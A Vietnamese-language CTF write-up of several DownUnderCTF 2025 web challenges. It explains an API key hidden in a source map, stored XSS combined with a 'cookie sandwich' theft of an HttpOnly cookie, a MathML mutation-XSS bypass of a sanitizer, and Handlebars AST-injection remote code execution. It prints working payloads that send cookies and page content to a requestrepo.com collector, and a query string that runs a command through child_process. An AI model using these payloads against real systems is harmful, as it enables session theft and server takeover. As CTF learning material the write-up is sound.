# downUnderCTF 2025 - Part 2
## Web - mini-me
Mã nguồn:
```python
from flask import Flask, render_template, send_from_directory, request, redirect, make_response
from dotenv import load_dotenv
import os
load_dotenv()
API_SECRET_KEY = os.getenv("API_SECRET_KEY")
FLAG = os.getenv("FLAG")
app = Flask(__name__, static_folder="static", template_folder="templates")
@app.after_request
def add_header(response):
response.cache_control.no_store = True
response.cache_control.must_revalidate = True
return response
@app.route("/")
def index():
return render_template("index.html")
@app.route("/login", methods=["POST"])
def login():
return redirect("/confidential.html")
@app.route("/confidential.html")
def confidential():
return render_template("confidential.html")
@app.route("/admin/flag", methods=["POST"])
def flag():
key = request.headers.get("X-API-Key")
if key == API_SECRET_KEY:
return FLAG
return "Unauthorized", 403
```
khi access đến /admin/flag -> nếu header X-API-KEY chứa api-key đúng thì trả ra flag.

ngoài ra chỉ có `/static/js/main.min.js` là đáng chú ý tuy nhiên trong mã nguồn không có, ta sẽ lấy nó ở trên host deploy và đổi tên thành `test-main.min.js.map`.
```
$ curl https://web-mini-me-ab6d19a7ea6e.2025.ductf.net/static/js/test-main.min.js.map
{"version":3,"file":"main.min.js.map","sources":["main.js"],"sourcesContent":["function pingMailStatus() {\r\n fetch(\"/api/mail/status\");\r\n}\r\n\r\nfunction fetchInboxPreview() {\r\n fetch(\"/api/mail/inbox?limit=5\");\r\n}\r\n\r\npingMailStatus();\r\nfetchInboxPreview();\r\n\r\ndocument.getElementById(\"start-btn\")?.addEventListener(\"click\", () => {\r\n const audio = document.getElementById(\"balletAudio\");\r\n audio.play();\r\n\r\n document.getElementById(\"start-btn\").style.display = \"none\";\r\n document.getElementById(\"audio-warning\").style.display = \"none\";\r\n\r\n const dancer = document.getElementById(\"dancer\");\r\n const dancerImg = document.getElementById(\"dancer-img\"); // Get the image element\r\n\r\n dancer.style.display = \"block\";\r\n dancerImg.style.display = \"block\"; // Show the image\r\n\r\n let angle = 0;\r\n const radius = 100;\r\n const centerX = window.innerWidth / 2;\r\n const centerY = window.innerHeight / 2;\r\n\r\n function animate() {\r\n angle += 0.05;\r\n const x = centerX + radius * Math.cos(angle);\r\n const y = centerY + radius * Math.sin(angle);\r\n dancer.style.left = x + \"px\";\r\n dancer.style.top = y + \"px\";\r\n\r\n dancerImg.style.left = x + \"px\"; // Sync image movement\r\n dancerImg.style.top = y + \"px\";\r\n\r\n requestAnimationFrame(animate);\r\n }\r\n animate();\r\n});\r\n\r\nfunction qyrbkc() { \r\n const xtqzp = [\"85\"], vmsdj = [\"87\"], rlfka = [\"77\"], wfthn = [\"67\"], zdqo = [\"40\"], yclur = [\"82\"],\r\n bpxmg = [\"82\"], hkfav = [\"70\"], oqzdu = [\"78\"], nwtjb = [\"39\"], sgfyk = [\"95\"], utxzr = [\"89\"],\r\n jvmqa = [\"67\"], dpwls = [\"73\"], xaogc = [\"34\"], eqhvt = [\"68\"], mfzoj = [\"68\"], lbknc = [\"92\"],\r\n zpeds = [\"84\"], cvnuy = [\"57\"], ktwfa = [\"70\"], xdglo = [\"87\"], fjyhr = [\"95\"], vtuze = [\"77\"], awphs = [\"75\"];\r\n const dhgyvu = [xtqzp[0], vmsdj[0], rlfka[0], wfthn[0], zdqo[0], yclur[0], \r\n bpxmg[0], hkfav[0], oqzdu[0], nwtjb[0], sgfyk[0], utxzr[0], \r\n jvmqa[0], dpwls[0], xaogc[0], eqhvt[0], mfzoj[0], lbknc[0], \r\n zpeds[0], cvnuy[0], ktwfa[0], xdglo[0], fjyhr[0], vtuze[0], awphs[0]];\r\n\r\n const lmsvdt = dhgyvu.map((pjgrx, fkhzu) =>\r\n String.fromCharCode(\r\n Number(pjgrx) ^ (fkhzu + 1) ^ 0 \r\n )\r\n ).reduce((qdmfo, lxzhs) => qdmfo + lxzhs, \"\"); \r\n console.log(\"Note: Key is now secured with heavy obfuscation, should be safe to use in prod :)\");\r\n}\r\n\r\n"],"names":["pingMailStatus","fetch","fetchInboxPreview","qyrbkc","map","pjgrx","fkhzu","String","fromCharCode","Number","reduce","qdmfo","lxzhs","console","log","document","getElementById","addEventListener","play","style","display","dancer","dancerImg","angle","centerX","window","innerWidth","centerY","innerHeight","animate","x","Math","cos","y","sin","left","top","requestAnimationFrame"],"mappings":"AAAA,SAASA,iBACPC,MAAM,kBAAkB,CAC1B,CAEA,SAASC,oBACPD,MAAM,yBAAyB,CACjC,CAsCA,SAASE,SAKc,CAJJ,KAAgB,KAAgB,KAAgB,KAAe,KAAgB,KAC/E,KAAgB,KAAgB,KAAgB,KAAgB,KAAgB,KAChF,KAAgB,KAAgB,KAAgB,KAAgB,KAAgB,KAChF,KAAgB,KAAgB,KAAgB,KAAgB,KAAgB,KAAgB,MAMzFC,IAAI,CAACC,EAAOC,IAC9BC,OAAOC,aACHC,OAAOJ,CAAK,EAAKC,EAAQ,EAAK,CAClC,CACJ,EAAEI,OAAO,CAACC,EAAOC,IAAUD,EAAQC,EAAO,EAAE,EAC5CC,QAAQC,IAAI,mFAAmF,CACnG,CApDAd,eAAe,EACfE,kBAAkB,EAElBa,SAASC,eAAe,WAAW,GAAGC,iBAAiB,QAAS,KAChDF,SAASC,eAAe,aAAa,EAC7CE,KAAK,EAEXH,SAASC,eAAe,WAAW,EAAEG,MAAMC,QAAU,OACrDL,SAASC,eAAe,eAAe,EAAEG,MAAMC,QAAU,OAEzD,IAAMC,EAASN,SAASC,eAAe,QAAQ,EACzCM,EAAYP,SAASC,eAAe,YAAY,EAKlDO,GAHJF,EAAOF,MAAMC,QAAU,QACvBE,EAAUH,MAAMC,QAAU,QAEd,GAENI,EAAUC,OAAOC,WAAa,EAC9BC,EAAUF,OAAOG,YAAc,EAcrCC,CAZA,SAASA,IACPN,GAAS,IACT,IAAMO,EAAIN,EANG,IAMgBO,KAAKC,IAAIT,CAAK,EACrCU,EAAIN,EAPG,IAOgBI,KAAKG,IAAIX,CAAK,EAC3CF,EAAOF,MAAMgB,KAAOL,EAAI,KACxBT,EAAOF,MAAMiB,IAAMH,EAAI,KAEvBX,EAAUH,MAAMgB,KAAOL,EAAI,KAC3BR,EAAUH,MAAMiB,IAAMH,EAAI,KAE1BI,sBAAsBR,CAAO,CAC/B,EACQ,CACV,CAAC"}
```
```javascript
function pingMailStatus() {
fetch("/api/mail/status");
}
function fetchInboxPreview() {
fetch("/api/mail/inbox?limit=5");
}
pingMailStatus();
fetchInboxPreview();
document.getElementById("start-btn")?.addEventListener("click", () => {
const audio = document.getElementById("balletAudio");
audio.play();
document.getElementById("start-btn").style.display = "none";
document.getElementById("audio-warning").style.display = "none";
const dancer = document.getElementById("dancer");
const dancerImg = document.getElementById("dancer-img"); // Get the image element
dancer.style.display = "block";
dancerImg.style.display = "block"; // Show the image
let angle = 0;
const radius = 100;
const centerX = window.innerWidth / 2;
const centerY = window.innerHeight / 2;
function animate() {
angle += 0.05;
const x = centerX + radius * Math.cos(angle);
const y = centerY + radius * Math.sin(angle);
dancer.style.left = x + "px";
dancer.style.top = y + "px";
dancerImg.style.left = x + "px"; // Sync image movement
dancerImg.style.top = y + "px";
requestAnimationFrame(animate);
}
animate();
});
function qyrbkc() {
const xtqzp = ["85"], vmsdj = ["87"], rlfka = ["77"], wfthn = ["67"], zdqo = ["40"], yclur = ["82"],
bpxmg = ["82"], hkfav = ["70"], oqzdu = ["78"], nwtjb = ["39"], sgfyk = ["95"], utxzr = ["89"],
jvmqa = ["67"], dpwls = ["73"], xaogc = ["34"], eqhvt = ["68"], mfzoj = ["68"], lbknc = ["92"],
zpeds = ["84"], cvnuy = ["57"], ktwfa = ["70"], xdglo = ["87"], fjyhr = ["95"], vtuze = ["77"], awphs = ["75"];
const dhgyvu = [xtqzp[0], vmsdj[0], rlfka[0], wfthn[0], zdqo[0], yclur[0],
bpxmg[0], hkfav[0], oqzdu[0], nwtjb[0], sgfyk[0], utxzr[0],
jvmqa[0], dpwls[0], xaogc[0], eqhvt[0], mfzoj[0], lbknc[0],
zpeds[0], cvnuy[0], ktwfa[0], xdglo[0], fjyhr[0], vtuze[0], awphs[0]];
const lmsvdt = dhgyvu.map((pjgrx, fkhzu) =>
String.fromCharCode(
Number(pjgrx) ^ (fkhzu + 1) ^ 0
)
).reduce((qdmfo, lxzhs) => qdmfo + lxzhs, "");
console.log("Note: Key is now secured with heavy obfuscation, should be safe to use in prod :)");
}
```
để ý hàm `qyrbkc` có note key -> ta sẽ tìm key:
```javascript
function decode() {
const arr = ["85","87","77","67","40","82","82","70","78","39","95","89","67","73","34","68","68","92","84","57","70","87","95","77","75"];
const decoded = arr.map((val, idx) =>
String.fromCharCode(Number(val) ^ (idx + 1))
).join('');
console.log(decoded);
}
decode();
```

API-KEY: `TUNG-TUNG-TUNG-TUNG-SAHUR`
get admin flag:
```
curl -X POST https://web-mini-me-ab6d19a7ea6e.2025.ductf.net/admin/flag -H "X-API-Key: TUNG-TUNG-TUNG-TUNG-SAHUR"
DUCTF{Cl13nt-S1d3-H4ck1nG-1s-FuN}
```
flag: `DUCTF{Cl13nt-S1d3-H4ck1nG-1s-FuN}`
## Web - Sweet Treat
Mã nguồn Tomcat/jsp, chương trình có chức năng đăng ký đăng nhập và đăng xuất, edit_profile và report user đáng nghi ngờ cho admin sau đó bot sẽ set cookie của mình chứa flag và view_profile user đó -> thực chất thì đây là một bài XSS.
`admin-review.jsp`:
```java
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<!-- Ignore this section, just for setting up admin sessions -->
<%
try {
Class.forName("org.sqlite.JDBC");
boolean isAdminCookie = false;
Cookie[] admincookie = request.getCookies();
if (admincookie != null) {
for (Cookie c : admincookie) {
if ("admin".equals(c.getName()) && "only-for-automate-not-very-relevant".equals(c.getValue())) {
isAdminCookie = true;
break;
}
}
}
if (isAdminCookie) {
session.setAttribute("user", "admin");
System.out.println("Set the Admin session");
Cookie delCookie = new Cookie("admin", "");
delCookie.setMaxAge(0);
delCookie.setPath("/");
response.addCookie(delCookie);
Cookie flag = new Cookie("flag", "DUCTF{FAKE_FLAG}");
flag.setPath("/");
flag.setHttpOnly(true);
response.addCookie(flag);
}
} catch (Exception e) {
out.println("Error setting admin session: " + e.getMessage());
}
%>
<!-- Ignore this section, just for setting up admin sessions -->
<%
String userName = (String) session.getAttribute("user");
if (userName == null || !"admin".equals(userName)) {
response.sendRedirect("/index.jsp");
return;
}
System.out.println("Admin Review Page accessed by: " + userName);
String lang = "en";
Cookie[] cookies = request.getCookies();
if (cookies != null) {
for (Cookie c : cookies) {
if ("language".equals(c.getName())) {
lang = c.getValue();
}
}
}
String dbURL = "jdbc:sqlite:/opt/directory.db";
String reportedUser = null;
String reportTime = null;
String aboutMe = null;
Connection conn = null;
PreparedStatement pstmt = null;
ResultSet rs = null;
try {
Class.forName("org.sqlite.JDBC");
conn = DriverManager.getConnection(dbURL);
String sql = "SELECT username, report_time FROM Reports ORDER BY id DESC LIMIT 1";
pstmt = conn.prepareStatement(sql);
rs = pstmt.executeQuery();
if (rs.next()) {
reportedUser = rs.getString("username");
reportTime = rs.getString("report_time");
}
pstmt.close();
rs.close();
// Fetch aboutMe for the reported user
if (reportedUser != null) {
String aboutSql = "SELECT aboutme FROM users WHERE username = ?";
pstmt = conn.prepareStatement(aboutSql);
pstmt.setString(1, reportedUser);
rs = pstmt.executeQuery();
if (rs.next()) {
aboutMe = rs.getString("aboutme");
}
}
} catch(Exception e) {
out.println("Database error: " + e.getMessage());
} finally {
try { if (rs != null) rs.close(); } catch(Exception e) {}
try { if (pstmt != null) pstmt.close(); } catch(Exception e) {}
try { if (conn != null) conn.close(); } catch(Exception e) {}
}
String loggedInUser = userName;
%>
<!DOCTYPE html>
<html lang="<%= lang %>">
<head>
<title>Admin Review - Directory Application</title>
<link rel="stylesheet" href="/styles.css">
</head>
<body>
<div class="navbar">
<a href="/index.jsp">Home</a>
<a href="/edit_profile.jsp">Edit Profile</a>
<% if ("admin".equals(loggedInUser)) { %>
<a href="/admin/admin-review.jsp">Review Reports</a>
<a href="/admin/admin.jsp">Admin Dashboard</a>
<% } %>
<a href="/logout.jsp">Logout</a>
</div>
<div class="user-bar">
<span>👤 <%= userName %></span>
</div>
<div class="profile-container">
<h2>Welcome, <%= userName %></h2>
<h3>Last Reported Profile</h3>
<% if (reportedUser != null) { %>
<div class="profile-card">
<h4>Username: <%= reportedUser %></h4>
<div class="about-label">Reported At:</div>
<div class="about-content"><%= reportTime %></div>
<div class="about-label">About Me:</div>
<div class="about-content"><%= (aboutMe != null && !aboutMe.isEmpty()) ? aboutMe : "No about me section provided." %></div>
</div>
<% } else { %>
<p>No profiles have been reported yet.</p>
<% } %>
</div>
<footer>
<p style="text-align: center; font-size: 0.9rem; color: #6b7280;">© 2025 Sweet Treats INC</p>
<p style="text-align: center; font-size: 0.8rem; color: #9ca3af;">For internal use only</p>
</footer>
</body>
</html>
```
Tại đây thì admin sẽ lấy cookie của admin:
```java
if (admincookie != null) {
for (Cookie c : admincookie) {
if ("admin".equals(c.getName()) && "only-for-automate-not-very-relevant".equals(c.getValue())) {
isAdminCookie = true;
break;
}
}
}
```
nếu cookie có key là admin và value `only-for-automate-not-very-relevant`
Sau đó sẽ thực hiện set cookie với flag nếu isAdminCookie được set là true:
```java
if (isAdminCookie) {
session.setAttribute("user", "admin");
System.out.println("Set the Admin session");
Cookie delCookie = new Cookie("admin", "");
delCookie.setMaxAge(0);
delCookie.setPath("/");
response.addCookie(delCookie);
Cookie flag = new Cookie("flag", "DUCTF{FAKE_FLAG}");
flag.setPath("/");
flag.setHttpOnly(true);
response.addCookie(flag);
}
```
Tuy nhiên vấn đề lo lắng ta cần nhắc đến ở đây là `flag.setHttpOnly(true);` ta sẽ không thể truy cập cookie được lưu trong trình duyệt bằng document.cookie - nó sẽ trả ra null.
### Steal cookie with httpOnly
https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique
Chương trình sẽ không xử lý những kí tự đặc biệt tùy theo web-server, và đối với apache tomcat ở đây chương trình dùng image `FROM tomcat:9.0-jdk11`: https://tomcat.apache.org/tomcat-9.0-doc/config/cookie-processor.html
https://cybersecuritynews.com/cookie-sandwich-stealing-httponly-cookies/
điều này cho phép kẻ tấn công thêm cookie có tên $Version hạ cấp các phiên bản cookie để buộc trình duyệt sử dụng bộ xử lý cookie cũ để đọc và hoạt động trên cookie.
POC:
```javascript
<script>
document.cookie = `$Version=1; path=/index.jsp;`;
document.cookie = `language="start; path=/index.jsp;`;
document.cookie = `end="; path=/`;
fetch("/index.jsp").then(function (res){return res.text();}).then(
function (html) {
fetch("https://mlmdd4pj.requestrepo.com/flag",
{
method: "POST",
body: html.substring(0,135)
});
});
</script>
```
Ta sẽ set `language="` và `end="` để chương trình nhầm rằng toàn bộ phần nằm giữa `" và "` là một chuỗi và nó là value của lang.

### Steal content in lang attribute
`index.jsp`
```java
<%@ page import="java.sql.*" %>
<%
String lang = "en";
Cookie[] cookies = request.getCookies();
if (cookies != null) {
for (Cookie c : cookies) {
if ("language".equals(c.getName())) {
lang = c.getValue();
}
}
}
String loggedInUser = (String) session.getAttribute("user");
// Fetch all users
String dbURL = "jdbc:sqlite:/opt/directory.db";
Connection conn = null;
PreparedStatement pstmt = null;
ResultSet rs = null;
java.util.List<String> usernames = new java.util.ArrayList<>();
try {
Class.forName("org.sqlite.JDBC");
conn = DriverManager.getConnection(dbURL);
String sql = "SELECT username FROM users";
pstmt = conn.prepareStatement(sql);
rs = pstmt.executeQuery();
while (rs.next()) {
usernames.add(rs.getString("username"));
}
} catch(Exception e) {
out.println("Database error: " + e.getMessage());
} finally {
try { if (rs != null) rs.close(); } catch(Exception e) {}
try { if (pstmt != null) pstmt.close(); } catch(Exception e) {}
try { if (conn != null) conn.close(); } catch(Exception e) {}
}
%>
<%!
public String escapeHtml(String s) {
if (s == null) return "";
return s.replace("&", "&")
.replace("<", "<")
.replace(">", ">")
.replace("\"", """)
.replace("'", "'");
}
%>
<!DOCTYPE html>
<html lang="<%= lang %>">
<head>
<title>Directory Application - Users</title>
<meta charset="UTF-8">
<link rel="stylesheet" href="/styles.css">
</head>
<body>
<div class="navbar">
<% if (loggedInUser != null) { %>
<a href="/index.jsp">Home</a>
<a href="/edit_profile.jsp">Edit Profile</a>
<% if ("admin".equals(loggedInUser)) { %>
<a href="/admin/admin-review.jsp">Review Reports</a>
<a href="/admin/admin.jsp">Admin Dashboard</a>
<% } %>
<a href="/logout.jsp">Logout</a>
<% } else { %>
<a href="/index.jsp">Home</a>
<a href="/login.jsp">Login</a>
<a href="/register.jsp">Register</a>
<% } %>
</div>
<div class="directory-title">Directory Application</div>
<div class="user-list-container">
<h2>Users</h2>
<ul class="user-list">
<% for (String user : usernames) { %>
<li><%= escapeHtml(user) %></li>
<% } %>
</ul>
</div>
<div class="footer">
<p style="text-align: center; font-size: 0.9rem; color: #6b7280;">© 2025 Sweet Treats INC</p>
<p style="text-align: center; font-size: 0.8rem; color: #9ca3af;">For internal use only</p>
</div>
</body>
</html>
<style>
/* Hide bullets for all user/admin lists */
.user-list, .user-list-admin, .report-list, .admin-user-list {
list-style-type: none !important;
list-style: none !important;
padding-left: 0 !important;
margin: 0 !important;
}
/* Center and style the directory title */
.directory-title {
font-size: 2.4rem;
color: #2d3a4b;
margin: 3.5rem 0 2.5rem 0;
letter-spacing: 1px;
text-align: center;
font-weight: 700;
line-height: 1.2;
}
</style>
```
Mã jsp tương tự vẫn lấy giá trị lang nếu có ở trong cookie và đưa vào attribute lang:
```java
String lang = "en";
Cookie[] cookies = request.getCookies();
if (cookies != null) {
for (Cookie c : cookies) {
if ("language".equals(c.getName())) {
lang = c.getValue();
}
}
}
```
Tại đây thì không có xss vì `username` đã bị html escape rồi:
```java
<%!
public String escapeHtml(String s) {
if (s == null) return "";
return s.replace("&", "&")
.replace("<", "<")
.replace(">", ">")
.replace("\"", """)
.replace("'", "'");
}
%>
```
```java
<% for (String user : usernames) { %>
<li><%= escapeHtml(user) %></li>
<% } %>
```
Tuy nhiên khi bot view profile của người dùng bị report thì nó fetch thẳng từ db ra mà không escapeHTML ở `admin-review.jsp`
```java
<div class="profile-container">
<h2>Welcome, <%= userName %></h2>
<h3>Last Reported Profile</h3>
<% if (reportedUser != null) { %>
<div class="profile-card">
<h4>Username: <%= reportedUser %></h4>
<div class="about-label">Reported At:</div>
<div class="about-content"><%= reportTime %></div>
<div class="about-label">About Me:</div>
<div class="about-content"><%= (aboutMe != null && !aboutMe.isEmpty()) ? aboutMe : "No about me section provided." %></div>
</div>
<% } else { %>
<p>No profiles have been reported yet.</p>
<% } %>
</div>
<footer>
<p style="text-align: center; font-size: 0.9rem; color: #6b7280;">© 2025 Sweet Treats INC</p>
<p style="text-align: center; font-size: 0.8rem; color: #9ca3af;">For internal use only</p>
</footer>
```
Do đó aboutMe ở đây có của người dính XSS.
Và sau khi report thì con bot cũng được trigger luôn:
```java
// Handle report profile to admin
if ("POST".equalsIgnoreCase(request.getMethod()) && request.getParameter("reportProfile") != null) {
try {
Class.forName("org.sqlite.JDBC");
conn = DriverManager.getConnection(dbURL);
String insertReport = "INSERT INTO Reports (username) VALUES (?)";
pstmt = conn.prepareStatement(insertReport);
pstmt.setString(1, username);
pstmt.executeUpdate();
pstmt.close();
} catch(Exception e) {
out.println("Database error: " + e.getMessage());
} finally {
try { if (pstmt != null) pstmt.close(); } catch(Exception e) {}
try { if (conn != null) conn.close(); } catch(Exception e) {}
}
try {
java.net.URL url = new java.net.URL("http://xssbot/visit");
java.net.HttpURLConnection con = (java.net.HttpURLConnection) url.openConnection();
con.setRequestMethod("POST");
con.setRequestProperty("Content-Type", "application/json");
con.setRequestProperty("X-SSRF-Protection",
con.setDoOutput(true);
String json = "{\"url\": \"http://sweet-treat:8080/admin/admin-review.jsp\"}"; // 127.0.0.1 when deployed
try (java.io.OutputStream os = con.getOutputStream()) {
byte[] input = json.getBytes("utf-8");
os.write(input, 0, input.length);
}
int code = con.getResponseCode();
// Optionally, you can read the response here if needed
if (code != 202) {
out.println("Error notifying bot: " + code);
} else {
out.println("Bot notified successfully.");
}
con.disconnect();
} catch(Exception e) {
out.println("Bot notify error: " + e.getMessage());
}
}
```
-> Do đó ta sẽ tạo aboutMe ở trên để stored XSS -> rồi bot trigger lang được set chứa cả flag -> và gửi ra ngoài.


## Web - mutant
Challenge xss với mã nguồn dưới với 2 chức năng chính đó là xem index.html và report cho bot -> bot sẽ kiểm tra với input là query người dùng truyền vào:
```python
from flask import Flask, render_template, make_response, request
import requests
import os
import urllib.parse
app = Flask(__name__)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/bot-login")
def bot_login():
if request.args.get("token") != os.getenv("BOT_TOKEN"):
return "Invalid token! This url is so the bot can login, it's not part of the challenge"
resp = make_response("bot logged in")
resp.set_cookie('flag', 'DUCTF{if_y0u_d1dnt_us3_mutation_x5S_th3n_it_w45_un1nt3nded_435743723}')
return resp
@app.route("/report", methods=["POST"])
def report():
requests.post(f"{os.getenv("INTERNAL_XSS_BOT_URL")}/visit", json={
"url": os.getenv("BOT_VISIT_URL") + "/?input=" + urllib.parse.quote_plus(request.get_data(as_text=True))
}, headers={
"X-SSRF-Protection": "1"
})
return "Reported"
if __name__ == '__main__':
app.run( host="0.0.0.0", port=1337, debug=False)
```
```html
<!DOCTYPE html>
<html>
<head>
<title>Mutant</title>
<style>
body {
display: flex;
margin: 0;
width: 100vw;
height: 100vh;
}
.maindiv {
margin: auto;
}
button, input {
width: 100%;
}
textarea {
width: calc(100% - 6px);
}
</style>
</head>
<body>
<div class="maindiv">
<p>Come on, XSS me. Give it your best shot.</p>
<form method="GET">
<textarea name="input" rows="20" cols="50" id="mytextarea"></textarea>
<br>
<input type="submit">
</form>
<p>Feeling confident?<br>Report this page, the flag is in <code>document.cookie</code>.</p>
<button id="reportbtn">Report this page</button>
<br>
<p>Your payload below:</p>
<code id="myoutputdebug"></code>
<br>
<div id="myoutput"></div>
<script src="{{ url_for('static', filename='main.js') }}"></script>
</div>
</body>
<html>
```
Nội dung của template không có gì đặc biệt ngoài file main.js được include vào.
```javascript
const inp = new URLSearchParams(location.search).get("input");
// Reporting stuff
reportbtn.addEventListener('click', () => {
fetch("/report", {
method: "POST",
body: inp
}).then(r => alert("Successfully reported")).catch(alert);
});
// Challenge
mytextarea.value = inp;
console.log("Original", inp);
const t = document.createElement("template");
t.innerHTML = inp;
console.log("After injecting into template", t.innerHTML);
const nodes = [t.content];
while (nodes.length > 0) {
const n = nodes.pop();
console.log("Parsed element", n.outerHTML);
if (n.attributes) {
while (n.attributes.length > 0) {
n.removeAttribute(n.attributes[0].name);
}
}
// Fix XSS reported by our bug bounty community
if (n.nodeName !== "#document-fragment" && (n.nodeName.length === 6 || n.nodeName.length === 8)) {
n.parentNode.removeChild(n);
continue;
}
for (let i = n.children.length - 1; i >= 0; i--) {
nodes.push(n.children[i]);
}
}
console.log("After sanitization", t.innerHTML);
myoutputdebug.innerText = t.innerHTML;
myoutput.innerHTML = t.innerHTML;
console.log("Final", myoutput.innerHTML);
```
Dấu hiện xss tại `myoutput.innerHTML = t.innerHTML;`
`input` lấy từ searchParamQuery được nhận sau đó nó được innerHTML trong element `template` tuy nhiên template tag sẽ không hiển thị nên ở đây không xss được.
Tiếp tục nó lấy toàn bộ các node là content của template sau khi parse và những node có độ dài tên là 6 hoặc 8 hoặc thuộc tính bằng 8 sẽ bị xóa:
```javascript
// Fix XSS reported by our bug bounty community
if (n.nodeName !== "#document-fragment" && (n.nodeName.length === 6 || n.nodeName.length === 8)) {
n.parentNode.removeChild(n);
continue;
}
```
Sau khi santities xong thì innerHTML như ta nói ở đầu.

Ta có thể dùng:
```
<form><math><mtext><form><mglyph><style></math><img src onerror=alert(1)></style></mglyph></form></mtext></math></form>
```
Tuy nhiên có node có length là 6 là `mglyph` do đó sẽ bị xóa:

Trong bài viết dưới có đề cập ta có thể thay thế `mglyph` bằng `malignmark` - length = 10 cho nên sẽ không bị xóa.

poc:
```
<form><math><mtext></form><form><malignmark><style></math><img src onerror=alert(1)>
```
```
<form><math><mtext></form><form><malignmark><style></math><img src=1 onerror="fetch(`https://mlmdd4pj.requestrepo.com/${document.cookie}`)">
```

flag: `DUCTF{if_y0u_d1dnt_us3_mutation_x5S_th3n_it_w45_un1nt3nded_435743723}`
https://research.securitum.com/mutation-xss-via-mathml-mutation-dompurify-2-0-17-bypass/
## Web - Request Handling
Chương trình chỉ cho Dockerfile như sau:
```dockerfile
FROM alpine:latest AS flag-builder
WORKDIR /build
RUN apk add gcc musl-dev
RUN cat <<EOF > getflag.c
#include <stdio.h>
int main() {
printf("DUCTF{test_flag}\n");
}
EOF
RUN gcc -static getflag.c -o getflag
FROM node:22-alpine
WORKDIR /app
RUN npm init -y && npm install express@4 handlebars
RUN cat <<EOF > app.js
const express = require("express");
const Handlebars = require("handlebars");
const app = express();
app.get('/', (req, res) => {
res.send(Handlebars.compile(req.query.x)({}));
});
app.listen(8000, () => console.log('App listening'));
EOF
COPY --from=flag-builder /build/getflag /getflag
RUN chmod 111 /getflag
EXPOSE 8000
USER node
CMD node app.js
```
`getflag` được compile thành binary và cấp quyền chỉ excute (111) cho tất cả các người dùng -> phải RCE.
Server khởi chạy express js với `handlebars`:
```javascript
const express = require("express");
const Handlebars = require("handlebars");
const app = express();
app.get('/', (req, res) => {
res.send(Handlebars.compile(req.query.x)({}));
});
app.listen(8000, () => console.log('App listening'));
```
Và như desciption thì `They patched Handlebars SSTI, there's nothing to worry about.` -> tìm SSTI.
https://handlebarsjs.com/api-reference/compilation.html
Dễ dàng tìm kiếm được một bài tương tự:
https://po6ix.github.io/AST-Injection/#Handlebars
Chuyển thành query để prototype:
```
http://localhost:8000/?x[type]=Program&x[body][0][type]=MustacheStatement&x[body][0][path]=0&x[body][0][loc][start]=0&x[body][0][loc][end]=0&x[body][0][params][0][type]=NumberLiteral&x[body][0][params][0][value]=function%20()%20%7Bthrow%20new%20Error(process.mainModule.require(%27child_process%27).execSync(%27/getflag%27).toString())%7D()
```

flag: `DUCTF{35116296c07966e5f645dac55a0fe81c}`
## Web - sodium
Http request smuggling
## Web - file-upload
## Web - More Request Handling
## Web - off dah rails m8
## Web - legendary